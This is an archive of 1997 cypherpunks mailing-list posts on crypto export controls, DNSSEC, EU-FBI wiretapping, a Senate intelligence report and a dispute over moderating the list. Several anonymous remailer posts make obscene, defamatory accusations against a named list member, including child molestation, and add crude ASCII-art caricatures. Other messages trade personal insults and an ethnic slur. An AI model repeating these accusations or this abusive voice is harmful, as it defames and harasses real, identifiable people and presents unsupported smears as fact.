	(The free trial version of SecurPC, which can be downloaded from
the RSADSI and SDTI websites, is enabled with only the limited key-length
RC4 encryption -- still the only type of crypto now allowed to be freely
exported outside the US.  The domestic product, as sold, offers full128-bit
RC4.)

	The major enhancement in the 2.0 version of SecurPC, as I recall,
is that it offers transparent, on the fly, decryption of a secured file, as
you open the relevant application on your PC.

	Suerte,
		_Vin

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KFLT" <kflt@flr.org>
Date: Fri, 28 Feb 1997 05:41:46 -0800 (PST)
To: Internet.Mail.Delivery
Subject: $7,000 in your mailbox!!!
Message-ID: <19970228133140900.AAA151@172-59-127.ipt.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Our research has shown that this may be of interest to you.
If not please accept our apology.  By not replying you will
be removed from any future mailings.

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===============================================

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Feb 1997 07:39:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Senate spams
In-Reply-To: <199702200850.IAA00713@server.test.net>
Message-ID: <Do6T3D92w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:
> Personally I think you're allowing the bad feeling generated by the
> [CENSORED] PR goofup over Dimitri's false criticisms to cloud your
> usually good judgement.

Adam, before labeling my criticisms "false", have you examined the
source code of the product in quesion to see if it's secure?

So far, the people caught making false statements are Sameer Parekh
(spit) and his lackeys Greg Broils (spit) and Sandy Sandfart (spit).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Feb 1997 07:40:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Clipper Chip Banking
In-Reply-To: <3316B0E6.3AE9@sk.sympatico.ca>
Message-ID: <Lm7T3D94w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> KALLISTE@delphi.com wrote:
>
> >       Just  as  the "Clipper"  proposal
> > (the Escrowed Encryption Standard) is a
> > system of encrypted communication  with
> > a Big Brother peephole, so is Sandia e-
> > cash  a  system of digital cash with  a
> > Big  Brother peephole.  It was designed
> > that way.
> >        Why  is  Sandia  interested   in
> > digital cash systems?  Well, Sandia  is
> > responsible    for   all    non-nuclear
> > components  of  nuclear  weapons.   The
> > security  of  nuclear  weapons  depends
> > partly   on   cryptology.   The   code-
> > breaking   National   Security   Agency
> > (NSA), for example, is responsible  for
> > the   communication  security  of   the
> > Minuteman missile, as well as the codes
> > by  which  the President must  identify
> > himself to authorize a nuclear strike.
>
>   The main benefit of the proposed Sadia system is that it will
> allow the President to do his banking while nuking the commies.
>   Sound reasonable to me.

They do a lot of crypto at Sandia, and digital cash is an important
application of crypto.

This reminds me how about 10 years ago I and one guy from Sandia labs
wrote a very nice app for converting HP soft fonts into TeX fonts.
We posted it all over the Internet with source code (the only way I
distribute my apps).  Well, a few months later I discovered that
some dandruff-covered sovok has been uploaing our app with our source
code, our comments, and the only change he made was to replace our
names by his filthy sovok name. (No, it wasn't Sameer Parekh -
Sameer is just as unethical, but he's an "Arab terrorist from
connecticut", not a sovok.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Fri, 28 Feb 1997 06:16:43 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation/censorship
In-Reply-To: <33153E98.3DCD@gte.net>
Message-ID: <3.0.1.32.19970228091602.007c54e0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:08 PM 2/27/97 -0600, Igor Chudov @ home quoted:

:Dale Thorn who had written:

[snip]
:
:> I looked at one archive the other day, and it contained 850+ messages
:> by me posted to cypherpunks between approximately 1 Sep 96 and late
:> Jan 97.  I think you'll find them very consistent, and although I
:> could be accused of harboring my own arrogance in some areas, I can
:> handle any criticism you put forth, since you (for example) don't
:> slander me gratuitously or viciously.
[snip]
:
Dale,

Nor do I, but I ask you if the above number of posts is not extreme.

I have to question the "quality" of 850 posts by _any_ list member in 5
months (by your count). By any measure that's a lot of Dale, or anybody,
to
muck through.

Just a comment to clear the airwaves a bit.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 1 Mar 1997 03:24:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANNOUNCE: "Digital Money Online" report released 24 Feb 97
Message-ID: <v0302091faf3c99728896@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Rachel Willmer <rachel@intertrader.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 25 Feb 1997 16:53:28 +0000
From: Rachel Willmer <rachel@intertrader.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: ANNOUNCE: "Digital Money Online" report released 24 Feb 97



	Digital Money Online

	Intertrader Ltd
	February 1997

Intertrader is pleased to announce the release of this 50 page report,
which compares several current and future digital money technologies, such
as Mondex, Cybercash and First Virtual.

Available online at
<http://www.intertrader.com/library/DigitalMoneyOnline/dmo/dmo.htm>

or you can download a PDF copy at
<http://www.intertrader.com/library/DigitalMoneyOnline/dmo/order.htm>

All comments welcome!

Regards
Rachel

P.S. This report supersedes the previous "Electronic Transaction Protocols".


--
Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh
Email: rachel@intertrader.com    Tel: +44 131 555 8450    Fax: +44 131 555 8451
Sun Internet Associate and winner of 1996 SMART Award for Innovation
                       "We develop Java Commerce Solutions"

---------- The e$ lists are brought to you by:
Intertrader Ltd - Commerce Solutions in the UK Visit  for details ...
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk
Like e$? Help pay for it!  See  Or, for e$/e$pam sponsorship, see
Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo  (Majordomo)^2:
Rachel Willmer Commermeister: Anthony Templer  Interturge: Rodney Thayer



--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 28 Feb 1997 11:38:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702281822.KAA21078@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May has been beaten up numerous 
times by fellow prostitutes for driving blow 
job prices down.

       ,,,
      (. .)
  -ooO-(_)-Ooo- Timothy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Donald E. Eastlake 3rd" <dee@cybercash.com>
Date: Fri, 28 Feb 1997 07:35:49 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: DNSSEC Encryption for DNS registration and ITAR Nonsense
In-Reply-To: <3.0.1.32.19970227203009.00629a08@popd.ix.netcom.com>
Message-ID: <Pine.SUN.3.91.970228102808.908D-100000@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain


Well, as I understand it, the problem with the seven bad countries is that US
law generally prohibits any trading with them at all.  You can't sell them
cryptographic software but you also can't sell them a peanut butter and jelly
sandwitch or a rubber band or anything.  The restrictions against them are
based on international policy, not the nature of the articles you want to
trade. 

Donald

On Thu, 27 Feb 1997, Bill Stewart wrote: 

> Date: Thu, 27 Feb 1997 20:30:09 -0800
> From: Bill Stewart <stewarts@ix.netcom.com>
> To: cypherpunks@toad.com
> 
> At 10:14 AM 2/12/97 -0500, "Donald E. Eastlake 3rd" <dee@cybercash.com> wrote:
> >People may want to note that yesterday (Feb 11th) the IESG approved the DNS
> >dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt
> >and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards.  The base DNS
> >security protocol was approved some time ago and is now out as RFC 2065.  
> 
> Details are on http://www.tis.com/docs/research/network/dns.html
> It's a very interesting page - pointers to the RFC
> http://ds.internic.net/rfc/rfc2065.txt ,
> and downloadable beta code from TIS implementing it.  Cool stuff.
> 
> But then there's the politial correctness part of the web page :-)
> > Trusted Information Systems, Inc. has received approval from the 
> > United States Government for export and reexport of TIS/DNSSEC software
> > from the United States of America under the provisions of the Export 
> > Administration Regulations (EAR) General Software Note (GSN) license 
> > exception for mass market software.  Under the provisions of this license, 
> > this software may be exported or reexported to all destinations except 
> > for the embargoed countries of Cuba, Iran, Iraq, Libya, North Korea, 
> > Sudan and Syria.  Any export or reexport of TIS/DNSSEC software to the
> embargoed
> > countries requires additional, specific licensing approval from the 
> > United States Government.
> 
> Yup.  Can't let those Cubans secure their DNS.....  At least the government
> did decide to permit export.
> 
> 
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 
> 

=====================================================================
Donald E. Eastlake 3rd     +1 508-287-4877(tel)     dee@cybercash.com
   318 Acton Street        +1 508-371-7148(fax)     dee@world.std.com
Carlisle, MA 01741 USA     +1 703-620-4200(main office, Reston, VA)
http://www.cybercash.com           http://www.eff.org/blueribbon.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 28 Feb 1997 11:43:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702281843.KAA28707@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[rook] May's mother attempted to 
pro-choice the unwanted little bastard by 
fishing with a coat hanger in her giant 
cunt, but failed miserably to pull the 
rabbit and succeeded only in scraping out 
the contents of little Timmy's fetal 
cranium (not much to begin with).

   o/ Timmy C[rook] May
  <|
  / >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 28 Feb 1997 11:39:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702281855.KAA02278@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] May sexually molests little children, farm animals, and 
inanimate objects.

         ___
       \/   \/
       |_O O_| Tim C[ocksucker] May
        | ^ |
       / UUU \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Thu, 27 Feb 1997 13:57:38 -0800 (PST)
To: jya@pipeline.com
Subject: Re: Presidential decrees and emergency powers
Message-ID: <85708065028816@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>We've put the full 50USC Chapter 35 -- International Emergency Economic
>Powers at:
>
>   http://jya.com/50usc35.txt  (284K)
 
Thanks.  This contains (among other things) the interesting Executive Order:
 
>Continuation of National Emergency Declared by Ex. Ord. No. 12924
>
>Notice of President of the United States, dated Aug. 15, 1995, 60 F.R. 42767,
>provided:
>
>On August 19, 1994, consistent with the authority provided me under the
>International Emergency Economic Powers Act (50 U.S.C. 1701 et seq.), I
>issued Executive Order No. 12924 [set out above]. In that order, I declared a
>national emergency with respect to the unusual and extraordinary threat to
>the national security, foreign policy, and economy of the United States in
>light of the expiration of the Export Administration Act of 1979, as amended
>(50 U.S.C. 2401 et seq.). Because the Export Administration Act has not been
>renewed by the Congress, the national emergency declared on August 19, 1994,
>must continue in effect beyond August 19, 1995. Therefore, in accordance with
>section 202(d) of the National Emergencies Act (50 U.S.C. 1622(d)), I am
>continuing the national emergency declared in Executive Order No. 12924.
 
So the fact that Congress won't continue a law is justification for declaring
an emergency which is justification for continuing it by presidential decree
instead.  Scary.
 
Unfortunately it doesn't list all the earlier, expired decrees which would show
what was originally used to start this thing off ("... the unusual and
extraordinary threat to the national security, foreign policy, and economy of
the United States in light of the British army currently marching on
Washington" perhaps?)
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 28 Feb 1997 12:12:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702281937.LAA08680@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maya's reheated, refurbished, and regurgitated cud is completely 
inappropriate for the mailing lists into which it is cross-ruminated.

      \\\
      {OQ}
       (_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 28 Feb 1997 05:59:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sphere packings
Message-ID: <199702281359.OAA02415@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] May's 16Kb brain's 
single convolution is directly wired to 
his rectum for input and his T1 mouth for 
output. That's 16K bits, not bytes. Anal 
intercourse has caused extensive brain 
damage.

             __
         ___|[]| Tim C[ocksucker] May
     \__|______|
     /-(o_o_o_o)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 28 Feb 1997 12:13:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Guardian on EU-FBI Wiretap Pact
Message-ID: <1.5.4.32.19970228200633.00719d10@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to CM.

The Guardian Weekly, Volume 156, Issue 9
Week ending March 2, 1997, Page 4:

UK to join FBI phone taps

Richard Norton-Taylor and Alison Daniels

BRITAIN has secretly agreed with its European Union partners to set up
an international telecommunications tapping system in co-operation
with the FBI, it was revealed on Monday.

The agreement covers telephones and written communications -- telexes,
faxes and e-mail. To make tapping easier, telecommunications companies
will be obliged to give security and intelligence agencies the key to
codes installed in equipment sold to private customers.

Detailed plans are being drawn up by officials in a secret network of
EU committees established under the "third pillar" of the Maastricht
Treaty, covering co-operation on law and order issues.

Civil liberties groups, while agreeing that there was a need for such
an agreement to fight against serious crime, said the plans raised a
number of privacy and data protection issues and must be the subject
of a full public debate.

Britain is an enthusiastic supporter of joint action in this area,
which is conducted on an inter-governmental basis with no role for the
European Commission, the European Parliament or the European Court of
Justice. It is an area where the EU's "democratic deficit" is most
evident.

Key points of the plan are outlined in a memorandum of understanding
signed by EU states in 1995, which is still classified. It reflects
increasing concern among European intelligence agencies that modern
technology will prevent them from tapping private communications.
EU governments agreed to co-operate closely with the FBI in Washington
as they work out detailed plans.

-----

As posted yesterday, for a report on EU-FBI wiretapping:

   http://www.privacy.org/pi/activities/tapping/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Feb 1997 13:26:53 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Senate spams
In-Reply-To: <199702280726.BAA01160@smoke.suba.com>
Message-ID: <331769F0.1575@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> 
> >  Greg doesn't seem to realize that, without a fellow C2Nut schill to
> >censor the unlobotomotized, his horseshit will no longer go
> >unchallenged.
> 
>  Your predictable whining about C2Net and suggestions that everyone
> who disagrees with you is either working for a government and/or out to get
> you hardly qualify as challenges - they seem to rather be on the level of
> Vulis's ascii art, although the rate at which you produce them makes me
> suspect you're still generating them by hand.

  How long are you and your bum-buddies at C2Nut going to continue to
try to denigrate god-and-everybody by making out-of-context links to
Dr. Vulis? Is Senator McCarthy alive and well at C2Nut?

  Whining? Suggestions?
  I'm 'flaming' shit-for-brains, and I'm working from the fact sheets.
  Fact: Sammy's pecker-tracks are all over the attempted takeover of
the CypherPunks list.
  Fact: John Gilmore turned over control of the CypherPunks list at 
toad.com to C2Nut employee Sandy Sandfort, under the pretext of 
cutting down on mailbomb attacks.
  Fact: List subscribers were forcibly relocated to a list Censored
by C2Nut employee Sandy Sandfort.
  Fact: C2Nut employee Sandy Sandfort then proceeded to Censor the
posts to the CypherPunks list in an attempt to blunt criticism of
the takeover of the list.
  Fact: C2Nut employee Sandy Sandfort announced that his Censorship
of the CypherPunks list was not based on cryptographical content.
  Fact: Sandy Sandfort approved posts to the Censored list that insulted
those who criticized him, while deleting the posts of those who
responded
to those insults.
  Fact: C2Nut employee Sandy Sandfort deleted incoming CypherPunks 
posts directly, sending them to none of the lists, if they reflected
poorly on his employer, fellow employees, and his supporters.
  Fact: Under C2Nut employee Sandy Sandfort's list dictatorship, many
of the so-called 'Evil Dr. Vulis ASCII' spams originated directly 
from toad.com, with forged headers. Others originated from the ISP's
of C2Net employees.
  Fact: C2Nut's Sameer controls cypherpunks.com on the WWW.
  Fact: C2Nut stands to profit from having control of the CypherPunks
name.
  Fact: C2Nut's employees were, and are, working in conjunction with 
others who have major financial interests that will benefit from control 
of the CypherPunks reputation capital.
  Fact: C2Nut and their employees apply threats of legal attack, both
directly and indirectly, to those whose words conflict with the goals
of C2Nut and their web of associated interests.
  Fact: If C2Nut wants the hidden agendas of themselves and their
associates to remain hidden, then they need better firewalls in place.

> "Challenge", my butt. Better have some more Scotch.

  Better to have Scotch in my mouth than my employer's sperm. And I 
doubt whether your butt is much of a challenge. 
> --
> Greg Broiles                | US crypto export control policy in a nutshell:
> gbroiles@netbox.com         |
> http://www.io.com/~gbroiles | Export jobs, not crypto.
>                             |

-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 28 Feb 1997 14:09:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Senate Intel Report
Message-ID: <1.5.4.32.19970228220253.00713ea4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The US Senate Select Committee on Intelligence has published
a special report on its activities from January 4, 1995 
to October 3, 1996, which shows an unsuprising parallel to
Cypherpunks topics -- even a bit on crypto. We've put it at:

   http://jya.com/sr105-1.htm  (135K)

Here's the TOC:

  I. Introduction

 II. Legislation
       Intelligence Budget
       S. 922 Intelligence Authorization Act for Fiscal Year 1996
       S. 1718 Intelligence Authorization Act for Fiscal Year 1997
       Intelligence Renewal and Reform Act of 1996
       The National Imagery and Mapping Agency

III. Arms Control
       Chemical Weapons Convention
       START II Treaty

 IV. Counterintelligence
       The Aldrich Ames Espionage Case
       French Flap
       Economic Espionage
       Foreign Intelligence Surveillance Act

  V. Counterterrorism
       Terrorism Threat Overview
       Khubar Towers and OPM-SANG Bombings

 VI. Counterproliferation
       Non-Proliferation
       North Korean Weapons of Mass Destruction Programs
       Long-Range Missile Threat

VII. Oversight Activities
       National Security Threats to the United States
       Intelligence Support to U.S. Efforts in Bosnia
       Inquiry into U.S. Actions Regarding Iranian and Other
           Arms Transfers to the Bosnian Army
       Congressional Notification of Foreign Policy Decisions
       Persian Gulf Syndrome
       Zona Rosa
       Vietnamese Commandos
       CIA/Contra/Cocaine Link
       CIA Use of Journalists, Clergy, and Peace Corps
           Volunteers in Intelligence Operations
       Guatemala
       Intelligence Support to Law Enforcement
       Congressional Notifications of Intelligence Activities
       Airborne Reconnaissance
       National Reconnaissance Office Carry Forward
       Small Satellites
       Covert Action
       Encryption Export Policy
       Security of the U.S. Information Infrastructure
       Jane Doe Thompson Case
       Oversight of the Intelligence Community Inspectors
           General
       Organized Crime in the Former Soviet Union
       Program Review and Audit Staff

VIII.Foreign Intelligence
       North Korea
       Iraq
       Russia
       China
       Mexico
       Economic Espionage
       Environmental and Demographic Intelligence
       Intelligence Sharing with the United Nations

 IX. Confirmations
       DCI John M. Deutch
       DDCI George J. Tenet

  X. Committee Internal Reforms and Enhancements
       End of the Designee System
       Term Limits
       PolicyNet

Appendix
     Summary of Committee Activities
       Number of Meetings
       Bills and Resolutions Originated by the Committee
       Bills Referred to the Committee
       Committee Publications
       Memorandum of Agreement Regarding TIARA and JMIP






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kenny_austin@juno.com (Kenny A Austin)
Date: Fri, 28 Feb 1997 14:13:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: cryto
Message-ID: <19970228.160944.8287.2.Kenny_Austin@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


would you please add my
name to your mailing list...
thanks...

kenny
(kenny_austin@juno.com)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 28 Feb 1997 18:16:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GAK
Message-ID: <199703010216.SAA03674@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May was born when his mother was on the 
toilet.

       _
      {~}
     ( V-) Timmy May
     '|Y|'
     _|||_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Feb 1997 17:27:17 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Depends / Re: Senate spams
In-Reply-To: <3.0.1.32.19970227011400.00deefe0@mail.io.com>
Message-ID: <3317A231.193E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> 
> At 01:26 AM 2/28/97 -0600, snow wrote:
> >> At 01:41 AM 2/27/97 -0800, Toto wrote:
> >> > I didn't see a single post on CypherPunks where anyone expressed the
> >> >least problem with pure, unmitigated spam being deleted.
> > Greg Broiles wrote:
> >> My point precisely. The question is not "is it useful to eliminate some
> >> messages from the list?", but "which messages shall we eliminate?".
> >
> >       This is mis-direction, and I believe it is deliberate on Boiles
> >part.
> >
> >       The question isn't "which messages shall we eliminate"--which implies
> >that the original writer was seeking to silence _someone_,  but rather
> >given that there are [many some a-few] messages being sent to this list that
> >are sent by non-human entities (bots, auto-replies, bounces etc.) is there
> >a way to avoid propigating them.
> 
> Will you count Raph's remailer statistics as "machine generated" and
> exclude them, too?

  Only asinine, dip-shit numbskulls would be capable of making this
idiotic
extrapolation.
  Why am I not surprised it came from Greg?

> Many/most of the "spam" messages are sent to the list because someone
> (either the author, or a third party) wanted them to be sent to the list.
> The fact that one or more machines are used to carry out that person's
> wishes is irrelevant. We're not talking about the effects of alpha
> particles or honest mistakes, we're talking about a deliberate choice to
> send some content to the list.

  More DoubleSpeak transposing the issues of Spam and content.

> And we're apparently talking about other
> people choosing to override that choice to send content to the list, on the
> basis of dislike for the sender, the sender's purpose, or the content of
> the message.

  No we're not, Greg. _You_ seem to be the only one speaking of
censorship
based on personality, agendas and content. (Try to keep in mind that the
thoughts and words of others are no longer being censored by your 
associates.)

>  And, like Toto said, there's nobody left who's arguing (modulo the
> Freedom-Knights guy, whose name escapes me at the moment, who may not
> really be on the list, haven't seen anything from him in a week or so)
> against all censorship, just people arguing against censorship that they
> don't like or done by people they don't trust, but in favor of censorship
> they do like, or done by people they do trust.

  Toto is calling Greg a lying fuck who deliberately disseminates 
misinformation as to the stances taken by others. 
  Greg seem to have taken it upon himself to provide a misinterpretation
of the posts of others, even though those posts are available for people
to read for themselves, making their own judgements as to what they say.

  I have maintained from the beginning that there needs to be a
CypherPunks
list which is free from filtering in any way, shape or form.
  I have also maintained that the interests of crypto would also be
served
by the maintenance of lists which offer filtering services by those who
wish to provide them--even a CypherPunks-NoToto list.
  Anyone who read my post to Igor, suggesting that I would have no
problem
with him intercepting autobot-replies that result from mailbomb attacks,
also knows that I suggested even the empty spam-messages being deleted
should be stored where they are open to scrutiny, and that I, for one,
would indeed be scrutinizing them.

  For Greg to purport that the interception of mail-bomb attacks equates
somehow to content/personality censorship is unmitigated bullshit aimed
at the dim-witted (of which I believe there are very few of on any of
the CypherPunks lists).
  If Greg would like to put forth a logical train of thought which
compares
the interception of empty auto-bot messages generated in response to the
forged posts of a mailbomb attack with Sandy's fascist censorship
methods
(which Greg eloquently described, but misdirected their source), then I
would like to see it.

> I don't see anything morally wrong with deliberately altering the flow of
> messages to and through the list, but I think it's bad form to pretend not
> to be doing that.

  Who is doing this, Greg? Name names. Give us an example of who is
doing
this and pretending not to do it. Why are your claims so vague? 
 
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Feb 1997 17:40:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <857149286.1021360.0@fatmans.demon.co.uk>
Message-ID: <763u3D98w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

>
> > >   No, you 'all' have it wrong.
> > >   The censorship experiment was actually the result of the tremendous
> > > amount of envy on the list over my having a 16" dick.
> >
> > So when a super babe says she wants a man with a 12" dick, do you
> > have to go cut off 4 inches?  Me being only 11", I just have to give
> > her up.
>
> I always said this list would degenerate into a penis size
> competition ;-)

ITAR-relevant urban legend: once the Soviet government order 10K dozen 8"
condoms in the U.S. and the Nixon administration made sure that each one was
stamped "medium".

> Paul (18") Bradley

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Feb 1997 17:50:45 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <763u3D98w165w@bwalk.dm.com>
Message-ID: <3317A7EB.1B8B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> ITAR-relevant urban legend: once the Soviet government order 10K dozen 8"
> condoms in the U.S. and the Nixon administration made sure that each one was
> stamped "medium".

  Does any condom over 6" fall under the category, 'Munitions'?
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 28 Feb 1997 13:50:19 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: Senate spams
In-Reply-To: <Do6T3D92w165w@bwalk.dm.com>
Message-ID: <199702282027.UAA00326@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > Personally I think you're allowing the bad feeling generated by the
> > [CENSORED] PR goofup over Dimitri's false criticisms to cloud your
> > usually good judgement.
> 
> Adam, before labeling my criticisms "false", have you examined the
> source code of the product in quesion to see if it's secure?

Well I have looked at SSLeay, and Ben Laurie's apache-SSL module which
is what StrongHold is based on, but not in any great detail, so I
shouldn't comment one way or another.

If you are suggesting there is a flaw, perhaps you could give some
hints on what the alleged flaw is, so that I could stand a chance of
refuting or confirming your claim, and so that if there is a flaw, it
can be fixed?

I, and I think many others, took your claim to be a PSYOP attempt to
cause a dilemma for Sandy.  If you really did find a flaw, well, lets
here it.  C2Net would owe you an apology.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 06:11:20 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121411.GAA19614@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> so we have myself, Jim Choate, and you who colunteer to host
> mailing lists for the distributed cypherpunks.
> 
> I have already created majordomo@algebra.com and cypherpunks@algebra.com.
> 
> We can coordinate our efforts. Actually, we can even have a mini
> mailing list for people who want to participate in the distributed
> cypherpunks experiment. If there is any interest, I can create such 
> a list.

Please do.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 06:11:26 -0800 (PST)
To: attila@primenet.com
Subject: Re: List! No Way: Creation of "alt.cypherpunks"
Message-ID: <199702121411.GAA19619@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



